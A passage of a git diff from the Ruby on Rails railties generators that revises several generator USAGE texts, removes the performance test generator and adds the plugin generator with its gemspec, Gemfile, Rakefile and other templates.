+ end.join
+
+ # Create route
+ # get 'baz/index'
+ route = indent(%{get '#{file_name}/#{action}'\n}, depth * 2)
+
+ # Create `end` ladder
+ # end
+ # end
+ end_ladder = (1..depth).reverse_each.map do |i|
+ indent("end\n", i * 2)
+ end.join
+
+ # Combine the 3 parts to generate complete route entry
+ namespace_ladder + route + end_ladder
+ end
end
end
end
diff --git a/railties/lib/rails/generators/rails/generator/USAGE b/railties/lib/rails/generators/rails/generator/USAGE
index d28eb3d7d8..799383050c 100644
--- a/railties/lib/rails/generators/rails/generator/USAGE
+++ b/railties/lib/rails/generators/rails/generator/USAGE
@@ -10,3 +10,4 @@ Example:
lib/generators/awesome/awesome_generator.rb
lib/generators/awesome/USAGE
lib/generators/awesome/templates/
+ test/lib/generators/awesome_generator_test.rb
diff --git a/railties/lib/rails/generators/rails/generator/generator_generator.rb b/railties/lib/rails/generators/rails/generator/generator_generator.rb
index 9a7a516b5b..15d88f06ac 100644
--- a/railties/lib/rails/generators/rails/generator/generator_generator.rb
+++ b/railties/lib/rails/generators/rails/generator/generator_generator.rb
@@ -10,6 +10,8 @@ module Rails
directory '.', generator_dir
end
+ hook_for :test_framework
+
protected
def generator_dir
diff --git a/railties/lib/rails/generators/rails/helper/USAGE b/railties/lib/rails/generators/rails/helper/USAGE
index 30e323a858..8855ef3b01 100644
--- a/railties/lib/rails/generators/rails/helper/USAGE
+++ b/railties/lib/rails/generators/rails/helper/USAGE
@@ -5,13 +5,9 @@ Description:
To create a helper within a module, specify the helper name as a
path like 'parent_module/helper_name'.
- This generates a helper class in app/helpers and invokes the configured
- test framework.
-
Example:
`rails generate helper CreditCard`
Credit card helper.
Helper: app/helpers/credit_card_helper.rb
- Test: test/helpers/credit_card_helper_test.rb
diff --git a/railties/lib/rails/generators/rails/migration/USAGE b/railties/lib/rails/generators/rails/migration/USAGE
index af74963b01..baf3d9894f 100644
--- a/railties/lib/rails/generators/rails/migration/USAGE
+++ b/railties/lib/rails/generators/rails/migration/USAGE
@@ -15,15 +15,21 @@ Example:
`rails generate migration AddTitleBodyToPost title:string body:text published:boolean`
- This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with
- this in the Up migration:
+ This will create the AddTitleBodyToPost in db/migrate/20080514090912_add_title_body_to_post.rb with this in the Change migration:
add_column :posts, :title, :string
add_column :posts, :body, :text
add_column :posts, :published, :boolean
- And this in the Down migration:
+Migration names containing JoinTable will generate join tables for use with
+has_and_belongs_to_many associations.
- remove_column :posts, :published
- remove_column :posts, :body
- remove_column :posts, :title
+Example:
+ `rails g migration CreateMediaJoinTable artists musics:uniq`
+
+ will create the migration
+
+ create_join_table :artists, :musics do |t|
+ # t.index [:artist_id, :music_id]
+ t.index [:music_id, :artist_id], unique: true
+ end
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
index e29e19490e..8c3b63c3b4 100644
--- a/railties/lib/rails/generators/rails/model/USAGE
+++ b/railties/lib/rails/generators/rails/model/USAGE
@@ -6,6 +6,11 @@ Description:
model's attributes. Timestamps are added by default, so you don't have to
specify them by hand as 'created_at:datetime updated_at:datetime'.
+ As a special case, specifying 'password:digest' will generate a
+ password_digest field of string type, and configure your generated model and
+ tests for use with ActiveModel has_secure_password (assuming the default ORM
+ and test framework are being used).
+
You don't have to think up every attribute up front, but it helps to
sketch out a few so you can start working with the model immediately.
@@ -21,13 +26,14 @@ Description:
Available field types:
- Just after the field name you can specify a type like text or boolean.
+ Just after the field name you can specify a type like text or boolean.
It will generate the column with the associated SQL type. For instance:
`rails generate model post title:string body:text`
- will generate a title column with a varchar type and a body column with a text
- type. You can use the following types:
+ will generate a title column with a varchar type and a body column with a text
+ type. If no type is specified the string type will be used by default.
+ You can use the following types:
integer
primary_key
@@ -40,33 +46,42 @@ Available field types:
date
time
datetime
- timestamp
You can also consider `references` as a kind of type. For instance, if you run:
`rails generate model photo title:string album:references`
- It will generate an album_id column. You should generate this kind of fields when
- you will use a `belongs_to` association for instance. `references` also support
- the polymorphism, you could enable the polymorphism like this:
+ It will generate an `album_id` column. You should generate these kinds of fields when
+ you will use a `belongs_to` association, for instance. `references` also supports
+ polymorphism, you can enable polymorphism like this:
`rails generate model product supplier:references{polymorphic}`
- You can also specify some options just after the field type. You can use the
- following options:
+ For integer, string, text and binary fields, an integer in curly braces will
+ be set as the limit:
- limit Set the maximum size of the field giving a number between curly braces
- default Set a default value for the field
- precision Defines the precision for the decimal fields
- scale Defines the scale for the decimal fields
- uniq Defines the field values as unique
- index Will add an index on the field
+ `rails generate model user pseudo:string{30}`
- Examples:
+ For decimal, two integers separated by a comma in curly braces will be used
+ for precision and scale:
+
+ `rails generate model product 'price:decimal{10,2}'`
+
+ You can add a `:uniq` or `:index` suffix for unique or standard indexes
+ respectively:
- `rails generate model user pseudo:string{30}`
`rails generate model user pseudo:string:uniq`
-
+ `rails generate model user pseudo:string:index`
+
+ You can combine any single curly brace option with the index options:
+
+ `rails generate model user username:string{30}:uniq`
+ `rails generate model product supplier:references{polymorphic}:index`
+
+ If you require a `password_digest` string column for use with
+ has_secure_password, you should specify `password:digest`:
+
+ `rails generate model user password:digest`
Examples:
`rails generate model account`
@@ -76,7 +91,7 @@ Examples:
Model: app/models/account.rb
Test: test/models/account_test.rb
Fixtures: test/fixtures/accounts.yml
- Migration: db/migrate/XXX_add_accounts.rb
+ Migration: db/migrate/XXX_create_accounts.rb
`rails generate model post title:string body:text published:boolean`
@@ -90,5 +105,5 @@ Examples:
Model: app/models/admin/account.rb
Test: test/models/admin/account_test.rb
Fixtures: test/fixtures/admin/accounts.yml
- Migration: db/migrate/XXX_add_admin_accounts.rb
+ Migration: db/migrate/XXX_create_admin_accounts.rb
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
index ea3d69d7c9..87bab129bb 100644
--- a/railties/lib/rails/generators/rails/model/model_generator.rb
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -1,6 +1,10 @@
+require 'rails/generators/model_helpers'
+
module Rails
module Generators
class ModelGenerator < NamedBase # :nodoc:
+ include Rails::Generators::ModelHelpers
+
argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
hook_for :orm, required: true
end
diff --git a/railties/lib/rails/generators/rails/performance_test/USAGE b/railties/lib/rails/generators/rails/performance_test/USAGE
deleted file mode 100644
index 9dc799559c..0000000000
--- a/railties/lib/rails/generators/rails/performance_test/USAGE
+++ /dev/null
@@ -1,10 +0,0 @@
-Description:
- Stubs out a new performance test. Pass the name of the test, either
- CamelCased or under_scored, as an argument.
-
- This generator invokes the current performance tool, which defaults to
- TestUnit.
-
-Example:
- `rails generate performance_test GeneralStories` creates a GeneralStories
- performance test in test/performance/general_stories_test.rb
diff --git a/railties/lib/rails/generators/rails/performance_test/performance_test_generator.rb b/railties/lib/rails/generators/rails/performance_test/performance_test_generator.rb
deleted file mode 100644
index 56cd562f3d..0000000000
--- a/railties/lib/rails/generators/rails/performance_test/performance_test_generator.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module Rails
- module Generators
- class PerformanceTestGenerator < NamedBase # :nodoc:
- hook_for :performance_tool, as: :performance
- end
- end
-end
diff --git a/railties/lib/rails/generators/rails/plugin_new/USAGE b/railties/lib/rails/generators/rails/plugin/USAGE
index 9a7bf9f396..9a7bf9f396 100644
--- a/railties/lib/rails/generators/rails/plugin_new/USAGE
+++ b/railties/lib/rails/generators/rails/plugin/USAGE
diff --git a/railties/lib/rails/generators/rails/plugin/plugin_generator.rb b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
new file mode 100644
index 0000000000..584f776c01
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/plugin_generator.rb
@@ -0,0 +1,393 @@
+require 'active_support/core_ext/hash/slice'
+require "rails/generators/rails/app/app_generator"
+require 'date'
+
+module Rails
+ # The plugin builder allows you to override elements of the plugin
+ # generator without being forced to reverse the operations of the default
+ # generator.
+ #
+ # This allows you to override entire operations, like the creation of the
+ # Gemfile, README, or JavaScript files, without needing to know exactly
+ # what those operations do so you can create another template action.
+ class PluginBuilder
+ def rakefile
+ template "Rakefile"
+ end
+
+ def app
+ if mountable?
+ directory 'app'
+ empty_directory_with_keep_file "app/assets/images/#{name}"
+ elsif full?
+ empty_directory_with_keep_file 'app/models'
+ empty_directory_with_keep_file 'app/controllers'
+ empty_directory_with_keep_file 'app/views'
+ empty_directory_with_keep_file 'app/helpers'
+ empty_directory_with_keep_file 'app/mailers'
+ empty_directory_with_keep_file "app/assets/images/#{name}"
+ end
+ end
+
+ def readme
+ template "README.rdoc"
+ end
+
+ def gemfile
+ template "Gemfile"
+ end
+
+ def license
+ template "MIT-LICENSE"
+ end
+
+ def gemspec
+ template "%name%.gemspec"
+ end
+
+ def gitignore
+ template "gitignore", ".gitignore"
+ end
+
+ def lib
+ template "lib/%name%.rb"
+ template "lib/tasks/%name%_tasks.rake"
+ template "lib/%name%/version.rb"
+ template "lib/%name%/engine.rb" if engine?
+ end
+
+ def config
+ template "config/routes.rb" if engine?
+ end
+
+ def test
+ template "test/test_helper.rb"
+ template "test/%name%_test.rb"
+ append_file "Rakefile", <<-EOF
+#{rakefile_test_tasks}
+
+task default: :test
+ EOF
+ if engine?
+ template "test/integration/navigation_test.rb"
+ end
+ end
+
+ PASSTHROUGH_OPTIONS = [
+ :skip_active_record, :skip_javascript, :database, :javascript, :quiet, :pretend, :force, :skip
+ ]
+
+ def generate_test_dummy(force = false)
+ opts = (options || {}).slice(*PASSTHROUGH_OPTIONS)
+ opts[:force] = force
+ opts[:skip_bundle] = true
+
+ invoke Rails::Generators::AppGenerator,
+ [ File.expand_path(dummy_path, destination_root) ], opts
+ end
+
+ def test_dummy_config
+ template "rails/boot.rb", "#{dummy_path}/config/boot.rb", force: true
+ template "rails/application.rb", "#{dummy_path}/config/application.rb", force: true
+ if mountable?
+ template "rails/routes.rb", "#{dummy_path}/config/routes.rb", force: true
+ end
+ end
+
+ def test_dummy_assets
+ template "rails/javascripts.js", "#{dummy_path}/app/assets/javascripts/application.js", force: true
+ template "rails/stylesheets.css", "#{dummy_path}/app/assets/stylesheets/application.css", force: true
+ end
+
+ def test_dummy_clean
+ inside dummy_path do
+ remove_file ".gitignore"
+ remove_file "db/seeds.rb"
+ remove_file "doc"
+ remove_file "Gemfile"
+ remove_file "lib/tasks"
+ remove_file "public/robots.txt"
+ remove_file "README"
+ remove_file "test"
+ remove_file "vendor"
+ end
+ end
+
+ def stylesheets
+ if mountable?
+ copy_file "rails/stylesheets.css",
+ "app/assets/stylesheets/#{name}/application.css"
+ elsif full?
+ empty_directory_with_keep_file "app/assets/stylesheets/#{name}"
+ end
+ end
+
+ def javascripts
+ return if options.skip_javascript?
+
+ if mountable?
+ template "rails/javascripts.js",
+ "app/assets/javascripts/#{name}/application.js"
+ elsif full?
+ empty_directory_with_keep_file "app/assets/javascripts/#{name}"
+ end
+ end
+
+ def bin(force = false)
+ return unless engine?
+
+ directory "bin", force: force do |content|
+ "#{shebang}\n" + content
+ end
+ chmod "bin", 0755, verbose: false
+ end
+
+ def gemfile_entry
+ return unless inside_application?
+
+ gemfile_in_app_path = File.join(rails_app_path, "Gemfile")
+ if File.exist? gemfile_in_app_path
+ entry = "gem '#{name}', path: '#{relative_path}'"
+ append_file gemfile_in_app_path, entry
+ end
+ end
+ end
+
+ module Generators
+ class PluginGenerator < AppBase # :nodoc:
+ add_shared_options_for "plugin"
+
+ alias_method :plugin_path, :app_path
+
+ class_option :dummy_path, type: :string, default: "test/dummy",
+ desc: "Create dummy application at given path"
+
+ class_option :full, type: :boolean, default: false,
+ desc: "Generate a rails engine with bundled Rails application for testing"
+
+ class_option :mountable, type: :boolean, default: false,
+ desc: "Generate mountable isolated application"
+
+ class_option :skip_gemspec, type: :boolean, default: false,
+ desc: "Skip gemspec file"
+
+ class_option :skip_gemfile_entry, type: :boolean, default: false,
+ desc: "If creating plugin in application's directory " +
+ "skip adding entry to Gemfile"
+
+ def initialize(*args)
+ @dummy_path = nil
+ super
+
+ unless plugin_path
+ raise Error, "Plugin name should be provided in arguments. For details run: rails plugin new --help"
+ end
+ end
+
+ public_task :set_default_accessors!
+ public_task :create_root
+
+ def create_root_files
+ build(:readme)
+ build(:rakefile)
+ build(:gemspec) unless options[:skip_gemspec]
+ build(:license)
+ build(:gitignore) unless options[:skip_git]
+ build(:gemfile) unless options[:skip_gemfile]
+ end
+
+ def create_app_files
+ build(:app)
+ end
+
+ def create_config_files
+ build(:config)
+ end
+
+ def create_lib_files
+ build(:lib)
+ end
+
+ def create_public_stylesheets_files
+ build(:stylesheets)
+ end
+
+ def create_javascript_files
+ build(:javascripts)
+ end
+
+ def create_images_directory
+ build(:images)
+ end
+
+ def create_bin_files
+ build(:bin)
+ end
+
+ def create_test_files
+ build(:test) unless options[:skip_test_unit]
+ end
+
+ def create_test_dummy_files
+ return unless with_dummy_app?
+ create_dummy_app
+ end
+
+ def update_gemfile
+ build(:gemfile_entry) unless options[:skip_gemfile_entry]
+ end
+
+ def finish_template
+ build(:leftovers)
+ end
+
+ public_task :apply_rails_template, :run_bundle
+
+ def name
+ @name ||= begin
+ # same as ActiveSupport::Inflector#underscore except not replacing '-'
+ underscored = original_name.dup
+ underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
+ underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
+ underscored.downcase!
+
+ underscored
+ end
+ end
+
+ protected
+
+ def app_templates_dir
+ "../../app/templates"
+ end
+
+ def create_dummy_app(path = nil)
+ dummy_path(path) if path
+
+ say_status :vendor_app, dummy_path
+ mute do
+ build(:generate_test_dummy)
+ store_application_definition!
+ build(:test_dummy_config)
+ build(:test_dummy_assets)
+ build(:test_dummy_clean)
+ # ensure that bin/rails has proper dummy_path
+ build(:bin, true)
+ end
+ end
+
+ def engine?
+ full? || mountable?
+ end
+
+ def full?
+ options[:full]
+ end
+
+ def mountable?
+ options[:mountable]
+ end
+
+ def skip_git?
+ options[:skip_git]
+ end
+
+ def with_dummy_app?
+ options[:skip_test_unit].blank? || options[:dummy_path] != 'test/dummy'
+ end
+
+ def self.banner
+ "rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
+ end
+
+ def original_name
+ @original_name ||= File.basename(destination_root)
+ end
+
+ def camelized
+ @camelized ||= name.gsub(/\W/, '_').squeeze('_').camelize
+ end
+
+ def author
+ default = "TODO: Write your name"
+ if skip_git?
+ @author = default
+ else
+ @author = `git config user.name`.chomp rescue default
+ end
+ end
+
+ def email
+ default = "TODO: Write your email address"
+ if skip_git?
+ @email = default
+ else
+ @email = `git config user.email`.chomp rescue default
+ end
+ end
+
+ def valid_const?
+ if original_name =~ /[^0-9a-zA-Z_]+/
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which use only alphabetic or numeric or \"_\" characters."
+ elsif camelized =~ /^\d/
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
+ elsif RESERVED_NAMES.include?(name)
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
+ elsif Object.const_defined?(camelized)
+ raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
+ end
+ end
+
+ def application_definition
+ @application_definition ||= begin
+
+ dummy_application_path = File.expand_path("#{dummy_path}/config/application.rb", destination_root)
+ unless options[:pretend] || !File.exist?(dummy_application_path)
+ contents = File.read(dummy_application_path)
+ contents[(contents.index(/module ([\w]+)\n(.*)class Application/m))..-1]
+ end
+ end
+ end
+ alias :store_application_definition! :application_definition
+
+ def get_builder_class
+ defined?(::PluginBuilder) ? ::PluginBuilder : Rails::PluginBuilder
+ end
+
+ def rakefile_test_tasks
+ <<-RUBY
+require 'rake/testtask'
+
+Rake::TestTask.new(:test) do |t|
+ t.libs << 'lib'
+ t.libs << 'test'
+ t.pattern = 'test/**/*_test.rb'
+ t.verbose = false
+end
+ RUBY
+ end
+
+ def dummy_path(path = nil)
+ @dummy_path = path if path
+ @dummy_path || options[:dummy_path]
+ end
+
+ def mute(&block)
+ shell.mute(&block)
+ end
+
+ def rails_app_path
+ APP_PATH.sub("/config/application", "") if defined?(APP_PATH)
+ end
+
+ def inside_application?
+ rails_app_path && app_path =~ /^#{rails_app_path}/
+ end
+
+ def relative_path
+ return unless inside_application?
+ app_path.sub(/^#{rails_app_path}\//, '')
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
new file mode 100644
index 0000000000..919c349470
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec
@@ -0,0 +1,27 @@
+$:.push File.expand_path("../lib", __FILE__)
+
+# Maintain your gem's version:
+require "<%= name %>/version"
+
+# Describe your gem and declare its dependencies:
+Gem::Specification.new do |s|
+ s.name = "<%= name %>"
+ s.version = <%= camelized %>::VERSION
+ s.authors = ["<%= author %>"]
+ s.email = ["<%= email %>"]
+ s.homepage = "TODO"
+ s.summary = "TODO: Summary of <%= camelized %>."
+ s.description = "TODO: Description of <%= camelized %>."
+ s.license = "MIT"
+
+ s.files = Dir["{app,config,db,lib}/**/*", "MIT-LICENSE", "Rakefile", "README.rdoc"]
+<% unless options.skip_test_unit? -%>
+ s.test_files = Dir["test/**/*"]
+<% end -%>
+
+ <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>"
+<% unless options[:skip_active_record] -%>
+
+ s.add_development_dependency "<%= gem_for_database %>"
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
new file mode 100644
index 0000000000..35ad9fbf9e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
@@ -0,0 +1,47 @@
+source 'https://rubygems.org'
+
+<% if options[:skip_gemspec] -%>
+<%= '# ' if options.dev? || options.edge? -%>gem 'rails', '~> <%= Rails::VERSION::STRING %>'
+<% else -%>
+# Declare your gem's dependencies in <%= name %>.gemspec.
+# Bundler will treat runtime dependencies like base dependencies, and
+# development dependencies will be added by default to the :development group.
+gemspec
+<% end -%>
+
+<% if options[:skip_gemspec] -%>
+group :development do
+ gem '<%= gem_for_database %>'
+end
+<% else -%>
+# Declare any dependencies that are still in development here instead of in
+# your gemspec. These might include edge Rails or gems from your path or
+# Git. Remember to move these dependencies to your gemspec before releasing
+# your gem to rubygems.org.
+<% end -%>
+
+<% if options.dev? || options.edge? -%>
+# Your gem is dependent on dev or edge Rails. Once you can lock this
+# dependency down to a specific version, move it to your gemspec.
+<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
+
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+, <%= gem.options.map { |k,v|
+ "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
+
+<% end -%>
+<% unless defined?(JRUBY_VERSION) -%>
+# To use a debugger
+ <%- if RUBY_VERSION < '2.0.0' -%>
+# gem 'debugger', group: [:development, :test]
+ <%- else -%>
+# gem 'byebug', group: [:development, :test]
+ <%- end -%>
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
new file mode 100644
index 0000000000..ff2fb3ba4e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright <%= Date.today.year %> <%= author %>
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
index 301d647731..301d647731 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc
+++ b/railties/lib/rails/generators/rails/plugin/templates/README.rdoc
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
new file mode 100644
index 0000000000..c338a0bdb1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
@@ -0,0 +1,29 @@
+begin
+ require 'bundler/setup'
+rescue LoadError
+ puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
+end
+
+require 'rdoc/task'
+
+RDoc::Task.new(:rdoc) do |rdoc|
+ rdoc.rdoc_dir = 'rdoc'
+ rdoc.title = '<%= camelized %>'
+ rdoc.options << '--line-numbers'
+ rdoc.rdoc_files.include('README.rdoc')
+ rdoc.rdoc_files.include('lib/**/*.rb')
+end
+
+<% if engine? && !options[:skip_active_record] && with_dummy_app? -%>
+APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__)
+load 'rails/tasks/engine.rake'
+<% end %>
+
+<% if engine? -%>
+load 'rails/tasks/statistics.rake'
+<% end %>
+
+<% unless options[:skip_gemspec] -%>
+
+Bundler::GemHelper.install_tasks
+<% end %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt
index 448ad7f989..448ad7f989 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
index 40ae9f52c2..40ae9f52c2 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt
diff --git a/railties/lib/rails/generators/rails/app/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/mailers/.empty_directory
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory
diff --git a/railties/lib/rails/generators/rails/app/templates/app/models/.empty_directory b/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory
index e69de29bb2..e69de29bb2 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/models/.empty_directory
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
index 1d380420b4..1d380420b4 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
new file mode 100644
index 0000000000..c3314d7e68
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
@@ -0,0 +1,11 @@
+# This command will automatically be run when you run "rails" with Rails 4 gems installed from the root of your application.
+
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/<%= name -%>/engine', __FILE__)
+
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+
+require 'rails/all'
+require 'rails/engine/commands'
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
index 8e158d5831..8e158d5831 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin/templates/gitignore
index 086d87818a..086d87818a 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
+++ b/railties/lib/rails/generators/rails/plugin/templates/gitignore
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
new file mode 100644
index 0000000000..40c074cced
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb
@@ -0,0 +1,6 @@
+<% if engine? -%>
+require "<%= name %>/engine"
+
+<% end -%>
+module <%= camelized %>
+end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
index 967668fe66..967668fe66 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
index ef07ef2e19..ef07ef2e19 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake
index 7121f5ae23..7121f5ae23 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
new file mode 100644
index 0000000000..b2aa82344a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
@@ -0,0 +1,18 @@
+require File.expand_path('../boot', __FILE__)
+
+<% if include_all_railties? -%>
+require 'rails/all'
+<% else -%>
+# Pick the frameworks you want:
+<%= comment_if :skip_active_record %>require "active_record/railtie"
+require "action_controller/railtie"
+require "action_mailer/railtie"
+require "action_view/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
+<% end -%>
+
+Bundler.require(*Rails.groups)
+require "<%= name %>"
+
+<%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
new file mode 100644
index 0000000000..6266cfc509
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+$LOAD_PATH.unshift File.expand_path('../../../../lib', __FILE__)
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
new file mode 100644
index 0000000000..c28e5badc6
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
@@ -0,0 +1,13 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
+// or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// compiled file.
+//
+// Read Sprockets README (https://github.com/sstephenson/sprockets#sprockets-directives) for details
+// about supported directives.
+//
+//= require_tree .
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
index 730ee31c3d..730ee31c3d 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css b/railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css
new file mode 100644
index 0000000000..f9cd5b3483
--- /dev/null
